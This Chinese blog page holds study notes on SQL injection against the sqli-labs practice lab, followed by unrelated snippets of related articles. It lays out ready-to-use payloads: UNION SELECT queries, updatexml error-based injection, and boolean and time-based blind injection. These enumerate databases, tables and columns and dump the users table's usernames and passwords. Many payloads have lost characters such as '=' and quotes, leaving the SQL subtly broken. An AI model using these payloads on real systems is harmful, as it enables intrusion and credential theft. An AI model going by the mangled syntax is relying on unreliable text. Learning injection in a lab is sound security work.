当前位置: 首页 > article >正文

日常记录:SQL学习总结

一、什么是SQL注入SQL注入就是通过把恶意SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串最终达到欺骗服务器使数据库执行恶意SQL命令目的的入侵行为。关键闭合原有 SQL 语句构造恶意新语句。二、SQL注入漏洞分类三、常见函数报错函数extractvalue、updatexml、exp、GTID_SUBSET()等。截取函数left、mid、substrsubstring、substrB。判断函数if、case when。其他函数ascii、length。数据库常见函数四、SQL手工注入实操一完整手动注入步骤1.判断是否存在 SQL 注入手动测试输入字段在Web应用的输入字段如登录框、搜索框中尝试输入特殊字符或SQL片段观察系统响应。常见的测试输入包括单引号、双引号、分号;或逻辑运算符如OR 11。如果系统返回数据库错误信息或异常行为可能存在漏洞。判断注入点闭合方式以sqli靶场做练习范例第一关输入?id1会发现有报错程序无法正常从数据库中查询出数据就会抛出异常和回显从回显就能推测数据库中应该是id$id 这就是字符型。输入?id1 and 11页面有返回输入?id1 and 12页面有返回第二关输入?id1有报错从回显能推测数据库中应该是id$id,这就是数字型。输入?id1 and 11输入?id1 and 122.判断字段数第一关为例用order by?id1order by 4--?id1order by 3--确定列数为33.确定回显位置这里用union select?id-1 union select 1,2,3--能够确定2,3回显位4.爆库名 → 爆表名 → 爆字段名 → 爆数据二常见SQL注入方式联合查询注入使用UNION的注入这种情况多半是有回显的时候。?id-1 union select 1,database(),user()--爆库名?id-1union select 1,2,group_concat(schema_name) from information_schema.schemata--//查询所有的数据库的名字爆表名?id-1union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)--//查询security库里所有表名爆字段名?id-1union select 1,2,(select group_concat(column_name) from information_schema.columns where table_nameusers)--//查询users表的列名 (因为我们安装过dvwa所以这里查询的users表有两个一个dvwa里面的users表一个是sqli里面的users表故爆出的列名很多。)解决方法指定数据库、数据表?id-1union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers)--爆数据?id-1union select 1,2,(select group_concat(username,~,password) from security.users)--//查询users表里的数据得到所有的用户名、密码报错注入mysql5.1.5版本中添加了extractvalue()、updatexml()函数它们两个分别能够对XML文档进行查询、修改操作。SQL报错注入的应用当使用extractvalue(xml_frag, xpath_expr)函数时若xpath_expr参数不符合xpath格式就会报错。而~符号(ascii编码值0x7e)是不存在xpath格式中的 所以一旦在xpath_expr参数中使用~符号就会产生xpath syntax error (xpath语法错误)通过使用这个方法就可以达到报错注入的目的。爆库名报错函数用updatexml():为例?id-1 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--报错已经成功爆出了部分数据库名但因为updatexml/extractvalue有32 字符长度限制所以内容被截断了。用right()从后面截取?id-1 and updatexml(1,concat(0x7e,right((select group_concat(schema_name) from information_schema.schemata),30),0x7e),1)--这样就查到所有库名爆表名?id-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1)--//查询security库下所有表名爆字段名?id-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers)),1)-- //查询users表下所有字段名爆数据因为报错显示位有限用limit来看每个账户和密码?id-1 and updatexml(1,concat(0x7e,(select concat(username,^,password) from security.users limit 7,1)),1)--盲注注入布尔盲注Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。判断数据库名的长度?id1and length((select database()))9--利用bp抓包爆破出来数据库名长度为8?id1and%20substr(database(),3,1)c数据库名字是security时间盲注界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数sleep通过查看web页面返回的时间差来判断注入的语句是否正确。?id-1||if(substr(database(),1,1)1,sleep(10),sleep(0))-- //查数据库名1、and length((select database()))8//判断当前数据库长度2、and length((select group_concat(table_name) from information_schema.tables where table_schemasecurity))29//判断所有表的长度3、and length((select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers))20//判断users表中字段的长度4、and length((select concat(username,password) from security.users limit 7,1))10 //判断user表第八行数据总位数username、password得到相应的长度后使用bp爆破相应的数据and substr((select concat(username,password) from security.users limit 7,1),1,1)aUA注入/referer注入/dnslog外带cookie注入宽字节注入堆叠注入

相关文章:

日常记录:SQL学习总结

一、什么是SQL注入SQL注入,就是通过把恶意SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器使数据库执行恶意SQL命令目的的入侵行为。关键:闭合原有 SQL 语句,构造恶意新语句。二、SQL注入漏洞分类三…...

生物记录仪能耗优化:机器学习与传感器融合实践

1. 生物记录仪能耗挑战与机器学习解决方案在野生动物行为研究领域,生物记录仪(bio-logger)已成为不可或缺的工具。这些小型电子设备通常搭载多种传感器,如加速度计、陀螺仪和磁力计等,用于记录动物的运动轨迹和行为模式。然而,这类…...

SwarmVault:去中心化AI数据存储与管理的实践指南

1. 项目概述与核心价值最近在探索分布式存储和AI应用结合的前沿领域时,我遇到了一个非常有意思的项目:swarmclawai/swarmvault。这个名字本身就透露了它的野心——将去中心化存储网络Swarm与人工智能(AI)能力相结合,构…...

3分钟解决Windows热键冲突:Hotkey Detective让你重掌键盘控制权

3分钟解决Windows热键冲突:Hotkey Detective让你重掌键盘控制权 【免费下载链接】hotkey-detective A small program for investigating stolen key combinations under Windows 7 and later. 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective …...

AKTools深度解析:3分钟构建跨语言金融数据API的实战指南

AKTools深度解析:3分钟构建跨语言金融数据API的实战指南 【免费下载链接】aktools AKTools is an elegant and simple HTTP API library for AKShare, built for AKSharers! 项目地址: https://gitcode.com/gh_mirrors/ak/aktools AKTools是一款为AKShare开源…...

【信息科学与工程学】【通信工程】第一百二十二篇 数字通信函数01

数字通信算法/函数库 函数编号:​ F001 函数名称:​ qpsk_modulator 类型:​ 调制 (Modulation) 通信分析:​ 该函数实现经典的正交相移键控调制,将输入的二进制比特流映射为复数符号(IQ数据)。它是数字通信发射机的基础模块,将数字信息加载到载波相位上,具有恒包络特…...

Revelation光影包:5分钟打造电影级Minecraft视觉体验

Revelation光影包:5分钟打造电影级Minecraft视觉体验 【免费下载链接】Revelation An explorative shaderpack for Minecraft: Java Edition 项目地址: https://gitcode.com/gh_mirrors/re/Revelation 想让你的Minecraft方块世界瞬间拥有电影大片般的视觉效果…...

Midjourney Pro订阅值不值得?深度拆解12项独家能力与企业级工作流增效实测数据

更多请点击: https://intelliparadigm.com 第一章:Midjourney Pro订阅的核心价值定位 Midjourney Pro 并非简单的“更高额度”升级包,而是面向专业创作者与团队工作流重构的关键基础设施。其核心价值体现在稳定性、可控性与协同效率三个不可…...

MTEB 排行榜之外:嵌入模型在 JRXML 场景下的选择逻辑

前文引用:通用分块器搞不定 JRXML:一个领域感知分块器的三层设计 分块之后,每一段文本需要转成一个向量,才能存进向量数据库做相似度检索。这个"文本 → 向量"的函数就是文本嵌入模型(Embedding Model&#…...

【Langchain】 ChatPromptTemplate:从“手动拼字符串“到“专业模板“的进化之路

零基础看懂 ChatPromptTemplate:从"手动拼字符串"到"专业模板"的进化之路一句话总结:ChatPromptTemplate 是 LangChain 中专门用来组装聊天消息的"模板引擎",它能让你像填空题一样,把变量插进预设的…...

LizzieYzy:围棋AI分析的终极免费工具,5分钟快速上手

LizzieYzy:围棋AI分析的终极免费工具,5分钟快速上手 【免费下载链接】lizzieyzy LizzieYzy - GUI for Game of Go 项目地址: https://gitcode.com/gh_mirrors/li/lizzieyzy 围棋AI分析、免费围棋助手、LizzieYzy快速入门、围棋复盘工具、AI棋力提…...

基于SDR与FPGA的全栈开源Wi-Fi设计:openwifi架构解析与实战

1. 项目概述:当Wi-Fi遇见SDR,一个开源全栈无线设计的诞生如果你和我一样,在无线通信领域摸爬滚打多年,从研究协议栈到调试硬件驱动,总会遇到一个痛点:商用Wi-Fi芯片就像一个黑盒子。你能用iwconfig配置它&a…...

百度网盘直链解析终极指南:5分钟告别限速下载的完整教程

百度网盘直链解析终极指南:5分钟告别限速下载的完整教程 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘那令人崩溃的下载速度而烦恼吗?…...

LaTeX-PPT:如何在PowerPoint中3分钟实现专业数学公式排版

LaTeX-PPT:如何在PowerPoint中3分钟实现专业数学公式排版 【免费下载链接】latex-ppt Use LaTeX in PowerPoint 项目地址: https://gitcode.com/gh_mirrors/la/latex-ppt 还在为PowerPoint中编辑复杂数学公式而头疼吗?LaTeX-PPT这款开源插件将彻底…...

大语言模型角色扮演:从提示工程到智能体框架的完整指南

1. 项目概述:当大语言模型学会“扮演”角色如果你最近在关注大语言模型(LLM)的应用,可能会发现一个有趣的现象:单纯让模型回答“11等于几”或者写一封邮件,已经越来越难以满足我们的好奇心和实际需求了。一…...

【权威实测】Perplexity UI v2.8.3组件查询API响应延迟骤降76%的6项必调参数

更多请点击: https://intelliparadigm.com 第一章:Perplexity UI组件库查询的性能瓶颈全景图 Perplexity UI 是一个面向复杂数据交互场景的前端组件库,其核心查询能力依赖于动态 Schema 解析与实时渲染管道。在高并发、多层级嵌套组件查询场…...

终极免费Cookie导出工具:Get cookies.txt LOCALLY完整使用指南

终极免费Cookie导出工具:Get cookies.txt LOCALLY完整使用指南 【免费下载链接】Get-cookies.txt-LOCALLY Get cookies.txt, NEVER send information outside. 项目地址: https://gitcode.com/gh_mirrors/ge/Get-cookies.txt-LOCALLY 在当今数字化时代&#…...

NoSleep:3种工作模式,解决Windows自动休眠的9大场景难题

NoSleep:3种工作模式,解决Windows自动休眠的9大场景难题 【免费下载链接】NoSleep Lightweight Windows utility to prevent screen locking 项目地址: https://gitcode.com/gh_mirrors/nos/NoSleep 你是否曾因Windows自动休眠而中断重要的远程演…...

Rust实现PDF解析与渲染:pdf_oxide库的安全高性能实践

1. 项目概述:当Rust遇上PDF,一场性能与安全的革命如果你在Rust社区或者高性能数据处理领域待过一阵子,大概率听说过或用过pdf_oxide这个库。乍一看,它只是GitHub上一个名为yfedoseev/pdf_oxide的仓库,一个用纯Rust编写…...

AI应用技术栈迁移实战:从框架切换、模型替换到向量库迁移

1. 项目概述:从“配方”到“迁移”的AI工程化实践 最近在梳理团队内部的AI应用资产时,发现一个挺普遍的现象:很多早期基于某个框架(比如LangChain、LlamaIndex)或者某个云服务商API快速搭建的AI应用,随着业…...

dnSpyEx .NET 8调试兼容性深度解析与实战指南

dnSpyEx .NET 8调试兼容性深度解析与实战指南 【免费下载链接】dnSpy Unofficial revival of the well known .NET debugger and assembly editor, dnSpy 项目地址: https://gitcode.com/gh_mirrors/dns/dnSpy 随着.NET 8的正式发布,.NET生态系统迎来了新一轮…...

烟花爆竹安全禁令(零售篇)

1.严禁无证/过期经营、超范围经营; 2.严禁下店上宅、前店后宅、与居住场所合一; 3.严禁超量储存、店外堆放、超高堆放; 4.严禁明火、吸烟、高温灯具、非防爆电气; 5.严禁消防设施(灭火器)缺失/失效、通道堵…...

NovelClaw:基于Python的异步小说采集框架设计与实战

1. 项目概述:一个面向小说爱好者的现代化数据采集工具 如果你是一个小说爱好者,或者像我一样,曾经为了追更某本网络小说,不得不每天手动刷新十几个不同的网站,忍受着弹窗广告和混乱的排版,那么你一定能理解…...

Umami MCP服务器:连接网站分析与AI工作流的标准化桥梁

1. 项目概述:一个为Umami量身定制的MCP服务器如果你正在使用Umami这个开源的网站分析工具,并且希望它能与你日常开发工作流中的其他工具(比如代码编辑器、CLI工具、自动化脚本)更紧密地结合,那么Macawls/umami-mcp-ser…...

抖音直播弹幕数据抓取实战:5分钟搭建实时监控系统

抖音直播弹幕数据抓取实战:5分钟搭建实时监控系统 【免费下载链接】DouyinLiveWebFetcher 抖音直播间网页版的弹幕数据抓取(2025最新版本) 项目地址: https://gitcode.com/gh_mirrors/do/DouyinLiveWebFetcher 你是否曾想过&#xff0…...

TypeScript函数式编程实战:fp-ts生产级应用技巧与模式解析

1. 项目概述:从类型体操到生产级函数式编程如果你在TypeScript社区里混迹过一段时间,大概率听说过或者用过fp-ts这个库。它把Haskell风格的函数式编程范式带到了TypeScript世界,提供了Option、Either、Task、Reader等一系列强大的代数数据类型…...

如何快速解决城通网盘下载限速问题:ctfileGet完整使用指南

如何快速解决城通网盘下载限速问题:ctfileGet完整使用指南 【免费下载链接】ctfileGet 获取城通网盘一次性直连地址 项目地址: https://gitcode.com/gh_mirrors/ct/ctfileGet 你是否曾经因为城通网盘下载速度只有几十KB/s而抓狂?面对缓慢的进度条…...

day15 C语言 指针3

13.字符指针的常见错误#include<stdio.h>#if 0int main(int argc, char **argv){//char *p"hello"; //error,会发生段错误 hello在内存中只有一份&#xff0c;只能读取不能修改char p[]"hello"; //char [] 开辟空间&#xff0c;会把hello复制一份给…...

C语言实战:从零构建2048游戏,掌握核心算法与图形编程

1. 项目概述与核心思路 作为一个写了十几年代码的老程序员&#xff0c;我始终认为&#xff0c;学习一门编程语言最有效的方式&#xff0c;不是死记硬背语法&#xff0c;而是动手去实现一个完整的、有成就感的项目。今天&#xff0c;我们就来聊聊如何用C语言&#xff0c;从零开始…...

基于大语言模型的塔罗牌AI解读系统:技术架构与实现详解

1. 项目概述&#xff1a;当塔罗占卜遇见AI最近在GitHub上看到一个挺有意思的项目&#xff0c;叫“chatgpt-tarot-divination”。光看名字&#xff0c;你大概就能猜到它的核心玩法&#xff1a;用AI来解读塔罗牌。这可不是简单的“随机抽牌固定释义”&#xff0c;而是结合了像Cha…...